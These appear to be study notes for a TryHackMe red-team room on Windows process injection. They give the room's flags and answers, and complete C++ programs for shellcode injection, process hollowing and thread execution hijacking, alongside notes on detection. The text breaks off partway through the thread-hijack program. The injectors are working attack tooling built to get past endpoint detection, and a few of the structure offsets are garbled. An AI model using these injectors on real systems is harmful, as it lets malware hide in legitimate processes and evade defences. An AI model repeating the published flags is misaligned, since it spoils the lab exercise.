ABUSING WINDOWS INTERNALS — COMPLETE STUDY NOTES

TryHackMe MAX Room | "Leverage Windows internals components to evade common detection solutions, using modern tool-agnostic approaches."

Difficulty: Hard | Time: ~60 min | Type: Red-Team / Malware Dev

LEGAL DISCLAIMER

These notes are for AUTHORIZED security testing and education only (TryHackMe, HTB, your own lab). Process injection, hollowing and hooking on systems you do not own or have written permission to test is illegal. Always practise inside an isolated lab VM. Do not run these binaries on production machines.

TABLE OF CONTENTS

0. Room Overview, Answer Key & Lab Commands
1. Windows Internals Primer (Processes, Threads, PEB/TEB, Memory, PE, DLLs)
2. TASK 2 — Abusing Processes: Basic Shellcode Injection
3. TASK 3 — Expanding Process Abuse: Process Hollowing
4. TASK 4 — Abusing Process Components: Thread Execution Hijacking
5. TASK 5 — Abusing DLLs: DLL Injection
6. TASK 6 — Memory Execution Alternatives (Function Pointers, APC, Sections)
7. TASK 7 — Case Study: TrickBot Browser Injection & API Hooking
8. EXTENDED — Modern Tool-Agnostic Evasion Techniques
   - 8.1 Direct & Indirect Syscalls (Hell's Gate / HalosGate / SysWhispers3)
   - 8.2 PEB/TEB Abuse, Module Stomping, Unbacked Memory
   - 8.3 Ntdll Unhooking
   - 8.4 PPID Spoofing & Argument Spoofing
   - 8.5 Early-Bird APC, Thread Pool Abuse, Module Overloading
9. Blue Team: Detections, Mitigations & Hunting Queries
10. MITRE ATT&CK Mapping
11. API Quick-Reference Cheat Sheet
12. Tools & Further Learning

0. ROOM OVERVIEW, ANSWER KEY & LAB COMMANDS

```
Room URL:  https://tryhackme.com/room/abusingwindowsinternals
Lab machine: RDP  ->  IP given by THM, user: THM-Attacker / Tryhackme!
Files live in:  C:\Users\THM-Attacker\Desktop\Injectors\
```

LEARNING OBJECTIVES

- Understand how internal components are vulnerable
- Learn how to abuse and exploit Windows Internals vulnerabilities
- Understand mitigations and detections for the techniques
- Apply techniques learned to a real-world adversary case study

LAB COMMANDS (per task)

```
Task 2  (shellcode injection):
    tasklist /v                # find a PID running as THM-Attacker
    .\shellcode-injector.exe 4036

Task 3  (process hollowing):
    .\hollowing-injector.exe <PID> <executable-name>

Task 4  (thread hijack):
    .\thread-injector.exe <PID>

Task 5  (DLL injection):
```

```
    .\dll-injector.exe RuntimeBroker.exe .\evil.dll
```

ANSWER KEY / FLAGS

Task 2: **THM{1nj3c710n_15_fun!}**
Task 3: **THM{7h3r35_n07h1n6_h3r3}**
Task 4: **THM{w34p0n1z3d_53w1n6}**
Task 5: **THM{n07_4_m4l1c10u5_dll}**

```
Task 6 questions:
  Q: What protocol is used to execute asynchronously in the context of a thread?
  A: Asynchronous Procedure Calls (APC)
  Q: What is the Windows API call used to queue an APC function?
  A: QueueUserAPC
  Q: Can the void function pointer be used on a remote process? (y/n)
  A: n

Task 7 questions:
  Q: What alternative Windows API call was used by TrickBot to create a new
     user thread?
  A: RtlCreateUserThread
  Q: Was the injection technique employed by TrickBot reflective? (y/n)
  A: y
  Q: What function name was used to manually write hooks?
  A: write_hook_iter

Task 8: no answer needed.
```

THE 4 INJECTION TYPES COVERED

Technique	MITRE	One-liner
Process Hollowing	T1055.012	Inject into suspended "hollowed" proc
Thread Execution Hijack	T1055.003	Inject into a suspended target thread
DLL Injection	T1055.001	Inject a DLL into process memory
PE Injection	T1055.002	Self-inject PE image -> malicious fn
(Base)	T1055	Process Injection (parent technique)

1. WINDOWS INTERNALS PRIMER

"Windows internals" = any back-end OS component: processes, threads, virtual memory, the I/O system, COM, the PEB/TEB, DLL loading, the PE file format, job objects, ALPC, task scheduling, etc. The room focuses on processes, process components, DLLs and the PE format.

1.1 PROCESS COMPONENTS

Component	Purpose
Private Virtual Address Space	Virtual memory addresses owned by the process (unique per process, managed by the kernel)
Executable Program	Code + data stored in the virtual address space
Open Handles	Handles to system resources (files, keys, ports)
Security Context	Access token: user, groups, privileges, integrity
Process ID (PID)	Unique numerical identifier of the process
Threads	Sections of a process scheduled for execution

1.2 THREADS

- A thread is the schedulable unit; every process starts with >= 1 thread.
- A thread owns: a CONTEXT (CPU registers: RIP/RSP/RAX...), a stack, a TEB, and a start address (LPTHREAD_START_ROUTINE).
- Because execution state lives in the CONTEXT, hijacking a thread is just a matter of changing RIP -> attacker-controlled memory.
- SuspendThread / ResumeThread / GetThreadContext / SetThreadContext are the four primitives of thread abuse.

1.3 VIRTUAL MEMORY BASICS (needed to understand injection)

```
Allocation APIs:
  VirtualAlloc / VirtualAllocEx   -> reserve + commit pages
  VirtualFree  / VirtualFreeEx    -> release
  VirtualProtect / VirtualProtectEx -> change page protection
  ReadProcessMemory / WriteProcessMemory -> cross-process copy

Protection constants (winnt.h):
  PAGE_NOACCESS          0x01
  PAGE_READONLY          0x02
  PAGE_READWRITE         0x04
  PAGE_EXECUTE           0x10
  PAGE_EXECUTE_READ      0x20
  PAGE_EXECUTE_READWRITE 0x40

Allocation type constants:
  MEM_COMMIT   0x1000
  MEM_RESERVE  0x2000
  MEM_RELEASE  0x8000
  (MEM_RESERVE | MEM_COMMIT = 0x3000)

Memory types an analyst sees in VMMap/Process Explorer:
  MEM_IMAGE   — backed by a PE image on disk  (easy to attribute)
  MEM_MAPPED  — backed by a mapped file
  MEM_PRIVATE — malloc/VirtualAlloc memory     (shellcode usually lives here)

EDRs flag: MEM_PRIVATE + PAGE_EXECUTE_READWRITE regions that are NOT part
of any module = "unbacked / unregistered executable memory".
```

1.4 PEB (Process Environment Block) — user-mode process control structure

```
Located via: FS:[0x30] on x86, GS:[0x60] on x64.
Windbg:  !peb          dt ntdll!_PEB

Key fields (x64 offsets):
  +0x000  InheritedAddressSpace      BYTE
  +0x001  ReadImageFileExecOptions   BYTE
  +0x002  BeingDebugged              BYTE   <- anti-debug check
  +0x003  BitField / SpareBool       BYTE
  +0x008  ImageBaseAddress           PVOID  <- where the EXE is mapped
  +0x010  Ldr                         PPEB_LDR_DATA (loaded module lists)
  +0x018  ProcessParameters          PRTL_USER_PROCESS_PARAMETERS
  +x030   ProcessHeap                PVOID
  +0x038  FastPebLock                PRTL_CRITICAL_SECTION
  +0x068  KernelCallbackTable        PVOID
  +0x0A8  ProcessHeaps / NumberOfHeaps ...
  +0x128  ApiSetMap                  PVOID  (api-set schema)

BeingDebugged and NtGlobalFlag are the classic user-mode anti-debug
tells; malware clears them to look "not debugged".
```

1.5 TEB (Thread Environment Block) — user-mode thread control structure

```
Located via: FS:[0x18] on x86, GS:[0x30] on x64.
Windbg:  !teb          dt ntdll!_TEB

Key fields (x64 offsets):
  +0x000  ExceptionList
  +0x008  StackBase
  +0x010  StackLimit
  +0x030  Self                 <- pointer to the TEB itself
  +0x040  ClientId (UniqueProcess / UniqueThread)
  +0x048  ActiveRuntimeLock
  +0x050  GdiTebBatch
  +0x068  ProcessEnvironmentBlock (PEB) pointer
  +0x068  LastErrorValue
  ...
The TEB is how a thread finds the PEB, and how the PEB is reached from
```

shellcode without any API calls.

1.6 PEB_LDR_DATA — loaded module lists (where shellcode "finds" kernel32)

```
PEB -> Ldr (PEB_LDR_DATA):
  +0x010  InLoadOrderModuleList      (LIST_ENTRY)
  +0x020  InMemoryOrderModuleList    (LIST_ENTRY)  <- most used by shellcode
  +0x030  InInitializationOrderModuleList

Each entry is an LDR_DATA_TABLE_ENTRY:
  InMemoryOrderLinks.Flink/Blink  — next/prev
  +0x020 / +0x030  DllBase        — module base address (x64 InMemoryOrder)
  +0x000 / +0x058  FullDllName    — UNICODE_STRING path
  +0x008 / +0x060  BaseDllName    — UNICODE_STRING "kernel32.dll"

PEB walking in shellcode (x64):
    mov rsi, gs:[60h]        ; PEB
    mov rsi, [rsi+18h]       ; PEB->Ldr
    mov rsi, [rsi+10h]       ; InMemoryOrderModuleList head
  next:
    mov rbx, [rsi+20h]       ; DllBase
    mov rdi, [rsi+50h]       ; BaseDllName.Buffer (InMemoryOrder offsets)
    ...compare "kernel32.dll"...
    mov rsi, [rsi]           ; next entry (Flink)
    jmp next

x86 version:
    mov esi, fs:[30h]        ; PEB
    mov esi, [esi+0Ch]       ; Ldr
    mov esi, [esi+1Ch]       ; InMemoryOrderModuleList
  next:
    mov ebx, [esi+10h]       ; DllBase
    mov edi, [esi+20h]       ; BaseDllName.Buffer
    mov esi, [esi]           ; Flink
```

1.7 PE (PORTABLE EXECUTABLE) FORMAT

```
Layout on disk:
  [ DOS Header ]        64 bytes, magic "MZ" (0x5A4D), e_lfanew at +0x3C
  [ DOS Stub ]
  [ NT Headers ]        signature "PE\0\0" (0x00004550)
      FileHeader        Machine, NumberOfSections, TimeDateStamp,
                        Characteristics (0x0102 = EXECUTABLE_IMAGE...)
      OptionalHeader    Magic (0x20B = PE32+, 0x10B = PE32),
                        AddressOfEntryPoint, ImageBase,
                        SectionAlignment, FileAlignment,
                        SizeOfImage, SizeOfHeaders, Subsystem,
                        DataDirectory[16] (Import, Export, Reloc, IAT...)
  [ Section Headers ]   40 bytes each: Name[8], VirtualSize, VirtualAddress,
                        SizeOfRawData, PointerToRawData, Characteristics
  [ .text ] [ .rdata ] [ .data ] [ .pdata ] [ .reloc ] ...

Offsets you need for hollowing/relocation work:
  pNT = (PIMAGE_NT_HEADERS)((BYTE*)base + pDOS->e_lfanew)
  entry     = pNT->OptionalHeader.AddressOfEntryPoint
  imageBase = pNT->OptionalHeader.ImageBase
  imgSize   = pNT->OptionalHeader.SizeOfImage
  hdrSize   = pNT->OptionalHeader.SizeOfHeaders
  numSec    = pNT->FileHeader.NumberOfSections
  section i = (BYTE*)base + e_lfanew + sizeof(IMAGE_NT_HEADERS)
                                     + i*sizeof(IMAGE_SECTION_HEADER)

Relocations (.reloc): needed when you map an image at a different base
than ImageBase -> fix up every RVA that stores an absolute address.
IAT/imports: resolved by the loader (Ldrp*) when a DLL loads normally;
manual/reflective mappers must walk the Import Directory themselves.
```

1.8 DLL LOADING

```
Normal load: LoadLibraryA/W -> LdrLoadDll -> map file -> run TLS callbacks
-> resolve imports -> run DllMain (DLL_PROCESS_ATTACH).
The loader records the module in PEB->Ldr, so it appears in
EnumProcessModules / PEB walk / Process Explorer — that's why naive
reflective DLLs are detectable ("module stomping" and "unbacked memory"
exist to hide this).
```

2. TASK 2 — ABUSING PROCESSES: BASIC SHELLCODE INJECTION (T1055)

Shellcode injection is the "hello world" of process injection.

HIGH-LEVEL STEPS

```
1. Open a target process with all access rights.        OpenProcess
2. Allocate memory in the target for the shellcode.     VirtualAllocEx
3. Write the shellcode into that memory.                WriteProcessMemory
4. Execute it with a remote thread.                     CreateRemoteThread
```

```
API SEQUENCE
  OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread
  (clean-up: CloseHandle on hProcess + hThread)
```

STEP 1 — OPEN THE TARGET PROCESS

```
    processHandle = OpenProcess(
        PROCESS_ALL_ACCESS,   // access rights (noisy! see section 9)
        FALSE,                // handle not inherited
        DWORD(atoi(argv[1]))  // PID from command line
    );
```

STEP 2 — ALLOCATE REMOTE MEMORY

```
    remoteBuffer = VirtualAllocEx(
        processHandle,
        NULL,                       // let the OS pick the address
        sizeof shellcode,           // size = length of payload
        MEM_RESERVE | MEM_COMMIT,   // 0x3000
        PAGE_EXECUTE_READWRITE      // 0x40  (RWX -> a classic IOC)
    );
```

STEP 3 — WRITE THE SHELLCODE

```
    WriteProcessMemory(
        processHandle,
        remoteBuffer,
        shellcode,
        sizeof shellcode,
        NULL
    );
```

STEP 4 — EXECUTE VIA REMOTE THREAD

```
    remoteThread = CreateRemoteThread(
        processHandle,
        NULL,
        0,                            // default stack size
        (LPTHREAD_START_ROUTINE)remoteBuffer,  // start address = shellcode
        NULL,
        0,                            // run immediately
        NULL
    );
```

COMPLETE PROGRAM: shellcode_injector.cpp

```
// Build (x64):  cl /EHsc /W4 shellcode_injector.cpp
// Usage:        shellcode-injector.exe <PID>
#include <windows.h>
#include <iostream>
#include <vector>
#include <fstream>

// Replace with your payload (e.g. msfvenom -f c, or the THM shellcode).
// Placeholder: int3 loop so nothing dangerous runs if left as-is.
unsigned char shellcode[] = { 0xCC, 0xEB, 0xFE };

int main(int argc, char* argv[]) {
    if (argc < 2) {
        std::cout << "[!] Usage: " << argv[0] << " <PID>\n";
        return 1;
    }

    DWORD processId = (DWORD)atoi(argv[1]);

    // 1. Open target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
    if (!hProcess) {
        std::cout << "[!] OpenProcess failed. Error: " << GetLastError() << "\n";
        return 1;
    }

    // 2. Allocate memory in target
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!remoteBuffer) {
        std::cout << "[!] VirtualAllocEx failed. Error: " << GetLastError() << "\n";
        CloseHandle(hProcess);
        return 1;
    }

    // 3. Write shellcode into target
    if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode,
        sizeof(shellcode), NULL)) {
        std::cout << "[!] WriteProcessMemory failed. Error: " << GetLastError() << "\n";
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    // 4. Create remote thread at shellcode
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    if (!hThread) {
        std::cout << "[!] CreateRemoteThread failed. Error: " << GetLastError() << "\n";
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    std::cout << "[+] Injected into PID " << processId
              << " @ " << remoteBuffer << "\n";

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    return 0;
}
```

WHY IT WORKS

The remote thread starts execution inside your buffer. Because RIP lands directly on attacker memory, there is no need for a legitimate start routine — the OS just executes whatever bytes are there.

```
WHY IT IS DETECTED (see section 9)
  - CreateRemoteThread from a non-child process is heavily monitored.
  - RWX private memory + a thread starting in it = high-fidelity signal.
  - PROCESS_ALL_ACCESS is a suspicious access mask (0x1FFFFF).
```

3. TASK 3 — EXPANDING PROCESS ABUSE: PROCESS HOLLOWING (T1055.012)

```
Also called "RunPE". Instead of injecting bytes into a live process, you
start a LEGITIMATE process suspended, un-map (hollow) it, then write a
malicious PE in its place and resume. The PID/image name look legitimate.
```

HIGH-LEVEL STEPS (6 steps)

```
  1. Create a target process in a suspended state.   CreateProcessA +
                                                     CREATE_SUSPENDED
  2. Open a malicious image (CreateFileA/GetFileSize/VirtualAlloc/ReadFile).
  3. Un-map legitimate code from process memory.     GetThreadContext +
                                                     ReadProcessMemory (PEB)
                                                     + ZwUnmapViewOfSection
  4. Allocate memory for the malicious code and write each PE section.
  5. Set an entry point for the malicious code.      SetThreadContext (EAX/RIP)
  6. Take the target process out of suspended state. ResumeThread
```

```
KEY INSIGHT — WHERE THE ENTRY POINT & BASE LIVE
  The primary thread's CONTEXT of a suspended new process points into
  ntdll's RtlUserThreadStart. EBX (x86) / RCX (x64 after context read)
  points at the PEB; PEB+0x8 (x86 ImageBaseAddress) / PEB+0x10 (x64)
  holds the image base. On x64 you read the PEB pointer from the CONTEXT
  (Rdx/R12 area varies by Windows version — the reliable method is
  NtQueryInformationProcess(ProcessBasicInformation) -> PebBaseAddress),
  then ReadProcessMemory(peb + ImageBaseOffset).
  In the THM room (x86-style walkthrough) they use c.Ebx + 8.
```

STEP 1 — CREATE SUSPENDED PROCESS

```
    LPSTARTUPINFOA   target_si = new STARTUPINFOA();
    LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION();
    CONTEXT c;

    if (CreateProcessA(
        (LPSTR)"C:\\Windows\\System32\\svchost.exe", // legitimate image
        NULL, NULL, NULL,
        TRUE,                 // inherit handles
        CREATE_SUSPENDED,     // <-- do not run yet
        NULL, NULL, target_si, target_pi) == 0) {
        std::cout << "[!] Failed to create target. Error: " << GetLastError();
        return 1;
    }
```

STEP 2 — OPEN & READ THE MALICIOUS IMAGE INTO LOCAL MEMORY

```
    HANDLE hMaliciousCode = CreateFileA(
        (LPCSTR)"C:\\Users\\tryhackme\\malware.exe",
        GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, NULL, NULL);

    DWORD maliciousFileSize = GetFileSize(hMaliciousCode, 0);

    PVOID pMaliciousImage = VirtualAlloc(NULL, maliciousFileSize,
        MEM_RESERVE | MEM_COMMIT,   // 0x3000
        PAGE_READWRITE);            // 0x04

    DWORD numberOfBytesRead;
    if (!ReadFile(hMaliciousCode, pMaliciousImage, maliciousFileSize,
                  &numberOfBytesRead, NULL)) {
        std::cout << "[!] Unable to read malicious file. Error: " << GetLastError();
        TerminateProcess(target_pi->hProcess, 0);
```

```
        return 1;
    }
    CloseHandle(hMaliciousCode);
```

STEP 3 — HOLLOW: FIND BASE ADDRESS AND UNMAP

```
    c.ContextFlags = CONTEXT_INTEGER;
    GetThreadContext(target_pi->hThread, &c);

    PVOID pTargetImageBaseAddress;
    ReadProcessMemory(target_pi->hProcess,
        (PVOID)(c.Ebx + 8),          // PEB.ImageBaseAddress (x86)
        &pTargetImageBaseAddress, sizeof(PVOID), 0);

    HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll");
    typedef NTSTATUS (NTAPI *pfnZwUnmapViewOfSection)(HANDLE, PVOID);
    pfnZwUnmapViewOfSection pZwUnmapViewOfSection =
        (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, "ZwUnmapViewOfSection");

    DWORD dwResult = pZwUnmapViewOfSection(target_pi->hProcess,
                                           pTargetImageBaseAddress);
    // dwResult == 0 -> section successfully unmapped ("hollowed")
```

STEP 4 — ALLOCATE & WRITE HEADERS + EACH SECTION

```
    PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage;
    PIMAGE_NT_HEADERS pNTHeaders =
        (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew);

    DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage;

    PVOID pHollowAddress = VirtualAllocEx(
        target_pi->hProcess,
        pTargetImageBaseAddress,     // preferred: reuse original base
        sizeOfMaliciousImage,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    // write headers
    WriteProcessMemory(target_pi->hProcess, pTargetImageBaseAddress,
        pMaliciousImage,
        pNTHeaders->OptionalHeader.SizeOfHeaders, NULL);

    // write each section
    for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER pSectionHeader =
            (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage +
                pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) +
                (i * sizeof(IMAGE_SECTION_HEADER)));

        WriteProcessMemory(target_pi->hProcess,
            (PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress),
            (PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData),
            pSectionHeader->SizeOfRawData, NULL);
    }
```

NOTE: if pHollowAddress != original base you must apply BASE RELOCATIONS (walk DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC], add delta = pHollowAddress - OptionalHeader.ImageBase to every reloc slot).

STEP 5 — SET THE ENTRY POINT

```
    c.Eax = (SIZE_T)((LPBYTE)pHollowAddress +
                     pNTHeaders->OptionalHeader.AddressOfEntryPoint);
    SetThreadContext(target_pi->hThread, &c);
    // x64: c.Rip = ... instead of c.Eax
```

STEP 6 — RESUME

```
    ResumeThread(target_pi->hThread);
```

COMPLETE PROGRAM: hollow_injector.cpp

```
// Build: cl /EHsc hollow_injector.cpp
// Usage: hollowing-injector.exe <target.exe full path> <malware.exe path>
#include <windows.h>
#include <iostream>

int main(int argc, char* argv[]) {
    if (argc < 3) {
        std::cout << "[!] Usage: " << argv[0]
                  << " <target exe> <malicious exe>\n";
        return 1;
    }
    char* target   = argv[1];
    char* malware  = argv[2];

    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = {};
    CONTEXT c = {};
    NTSTATUS status;

    // STEP 1 - suspended process
    if (!CreateProcessA(target, NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        std::cout << "[!] CreateProcessA failed: " << GetLastError() << "\n";
        return 1;
    }

    // STEP 2 - read malicious image locally
    HANDLE hFile = CreateFileA(malware, GENERIC_READ, FILE_SHARE_READ, NULL,
                               OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) { TerminateProcess(pi.hProcess, 1); return 1; }
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID pLocalImage = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE,
                                      PAGE_READWRITE);
    DWORD read = 0;
    ReadFile(hFile, pLocalImage, fileSize, &read, NULL);
    CloseHandle(hFile);

    PIMAGE_DOS_HEADER pDOS = (PIMAGE_DOS_HEADER)pLocalImage;
    PIMAGE_NT_HEADERS  pNT = (PIMAGE_NT_HEADERS)((BYTE*)pLocalImage + pDOS->e_lfanew);

    // STEP 3 - locate image base via PEB and unmap
    c.ContextFlags = CONTEXT_INTEGER;
    GetThreadContext(pi.hThread, &c);

    LPVOID imageBase = NULL;
    // x64: PEB pointer lives in the thread context; simplest portable way:
    PROCESS_BASIC_INFORMATION pbi = {};
    typedef NTSTATUS (NTAPI *fnNtQueryInformationProcess)(HANDLE, UINT, PVOID,
                                       ULONG, PULONG);
    fnNtQueryInformationProcess NtQueryInformationProcess =
        (fnNtQueryInformationProcess)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
    NtQueryInformationProcess(pi.hProcess, 0 /*ProcessBasicInformation*/,
                              &pbi, sizeof(pbi), NULL);
    ReadProcessMemory(pi.hProcess, (BYTE*)pbi.PebBaseAddress + 0x10,
                      &imageBase, sizeof(LPVOID), NULL);  // x64 ImageBase
    // (x86: use c.Ebx + 8 as in the room)

    typedef NTSTATUS (NTAPI *fnZwUnmapViewOfSection)(HANDLE, PVOID);
    fnZwUnmapViewOfSection ZwUnmapViewOfSection =
        (fnZwUnmapViewOfSection)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
    status = ZwUnmapViewOfSection(pi.hProcess, imageBase);

    // STEP 4 - allocate + write headers and sections
    LPVOID newBase = VirtualAllocEx(pi.hProcess, imageBase,
                                    pNT->OptionalHeader.SizeOfImage,
                                    MEM_COMMIT | MEM_RESERVE,
```

```
                                    PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, newBase, pLocalImage,
                       pNT->OptionalHeader.SizeOfHeaders, NULL);

    for (int i = 0; i < pNT->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)
            ((BYTE*)pLocalImage + pDOS->e_lfanew + sizeof(IMAGE_NT_HEADERS)
             + i * sizeof(IMAGE_SECTION_HEADER));
        WriteProcessMemory(pi.hProcess,
            (BYTE*)newBase + sec->VirtualAddress,
            (BYTE*)pLocalImage + sec->PointerToRawData,
            sec->SizeOfRawData, NULL);
    }

    // relocations (required if newBase != OptionalHeader.ImageBase)
    if (newBase != (LPVOID)pNT->OptionalHeader.ImageBase) {
        DWORD_PTR delta = (DWORD_PTR)newBase - pNT->OptionalHeader.ImageBase;
        IMAGE_DATA_DIRECTORY relocDir =
            pNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        DWORD offset = 0;
        while (offset < relocDir.Size) {
            IMAGE_BASE_RELOCATION* block = (IMAGE_BASE_RELOCATION*)
                ((BYTE*)pLocalImage + relocDir.VirtualAddress + offset);
            DWORD entries = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))
                            / sizeof(WORD);
            WORD* list = (WORD*)((BYTE*)block + sizeof(IMAGE_BASE_RELOCATION));
            for (DWORD j = 0; j < entries; j++) {
                int type = list[j] >> 12;
                int off  = list[j] & 0x0FFF;
                if (type == IMAGE_REL_BASED_DIR64) {       // x64
                    DWORD_PTR* patch = (DWORD_PTR*)((BYTE*)newBase
                                       + block->VirtualAddress + off);
                    *patch += delta;   // NOTE: do this in the TARGET via
                                       // WriteProcessMemory for real use
                } else if (type == IMAGE_REL_BASED_HIGHLOW) { // x86
                    DWORD* patch = (DWORD*)((BYTE*)newBase
                                       + block->VirtualAddress + off);
                    *patch += (DWORD)delta;
                }
            }
            offset += block->SizeOfBlock;
        }
    }

    // STEP 5 - entry point
    c.Rip = (DWORD_PTR)((BYTE*)newBase + pNT->OptionalHeader.AddressOfEntryPoint);
    SetThreadContext(pi.hThread, &c);

    // STEP 6 - resume
    ResumeThread(pi.hThread);

    std::cout << "[+] Hollowed PID " << pi.dwProcessId << "\n";
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    VirtualFree(pLocalImage, 0, MEM_RELEASE);
    return 0;
}

DEFENSIVE NOTE: In the simplified version above the relocation fix-up is
performed on the local buffer; in a correct hollowing implementation the
fix-ups must be applied to the TARGET's memory (ReadProcessMemory ->
patch -> WriteProcessMemory).

DETECTION ANGLES
  - CreateProcess(CREATE_SUSPENDED) of a system binary followed quickly by
    ZwUnmapViewOfSection is a classic EDR behavioral rule.
  - The process's mapped image (MEM_IMAGE) disappears / mismatches the
    on-disk file -> "image file does not match memory" (hollow detection).
```

- Signed svchost.exe running unsigned code from an unknown base.

4. TASK 4 — ABUSING PROCESS COMPONENTS: THREAD EXECUTION HIJACKING (T1055.003)

Instead of creating a NEW thread (noisy), you take over an EXISTING thread:
suspend it, steal its CONTEXT, point RIP at your shellcode, resume.

HIGH-LEVEL STEPS (10-11 steps)

1.	Locate and open a target process.	OpenProcess
2.	Allocate memory for malicious code.	VirtualAllocEx
3.	Write malicious code into that memory.	WriteProcessMemory
4.	Identify the thread ID of the target thread.	CreateToolhelp32Snapshot + Thread32First/Next
5.	Open the target thread.	OpenThread
6.	Suspend the target thread.	SuspendThread
7.	Obtain the thread context.	GetThreadContext
8.	Update the instruction pointer to the payload	context.Rip = remoteBuffer
9.	Rewrite the thread context.	SetThreadContext
10.	Resume the hijacked thread.	ResumeThread

STEPS 1-3 (same as basic injection)

```
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
    MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuffer, shellcode,
                   sizeof(shellcode), NULL);
```

STEP 4 — ENUMERATE THREADS

```
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
Thread32First(hSnapshot, &threadEntry);

while (Thread32Next(hSnapshot, &threadEntry)) {
    if (threadEntry.th32OwnerProcessID == processId) {
        // found a thread in our target process
        break;
    }
}
```

STEP 5 — OPEN THE THREAD

```
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE,
                            threadEntry.th32ThreadID);
```

STEP 6 — SUSPEND

```
SuspendThread(hThread);
```

STEP 7 — GET CONTEXT

```
CONTEXT context = {};
context.ContextFlags = CONTEXT_CONTROL;   // RIP/RSP/EFlags
GetThreadContext(hThread, &context);
```

STEP 8 — HIJACK INSTRUCTION POINTER

```
context.Rip = (DWORD_PTR)remoteBuffer;    // x64
// context.Eip = (DWORD_PTR)remoteBuffer; // x86
// Optional but recommended: keep the stack aligned & push a
// legitimate return address (e.g. an RtlUserThreadStart-compatible
// address) so the thread can return cleanly after your shellcode.
```

STEP 9 — WRITE CONTEXT BACK

```
    SetThreadContext(hThread, &context);
```

STEP 10 — RESUME

```
    ResumeThread(hThread);
```

COMPLETE PROGRAM: thread_hijack.cpp

```
// Build: cl /EHsc thread_hijack.cpp
// Usage: thread-injector.exe <PID>
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>

unsigned char shellcode[] = { 0xCC, 0xEB, 0xFE }; // int3; jmp $

int main(int argc, char* argv[]) {
    if (argc < 2) { std::cout << "[!] Usage: " << argv[0] << " <PID>\n"; return 1; }
    DWORD processId = (DWORD)atoi(argv[1]);

    // 1. open process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
    if (!hProcess) { std::cout << "[!] OpenProcess: " << GetLastError() << "\n"; return 1; }

    // 2. allocate
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!remoteBuffer) { std::cout << "[!] VirtualAllocEx: " << GetLastError() << "\n"; return
1; }

    // 3. write
    WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof(shellcode), NULL);

    // 4. find a thread belonging to the target PID
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    Thread32First(hSnapshot, &te);
    DWORD threadId = 0;
    do {
        if (te.th32OwnerProcessID == processId) { threadId = te.th32ThreadID; break; }
    } while (Thread32Next(hSnapshot, &te));
    CloseHandle(hSnapshot);
    if (!threadId) { std::cout << "[!] No thread found for PID\n"; return 1; }

    // 5. open + 6. suspend
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
    SuspendThread(hThread);

    // 7. get context
    CONTEXT ctx = {}; ctx.ContextFlags = CONTEXT_CONTROL;
    GetThreadContext(hThread, &ctx);

    // 8. hijack RIP
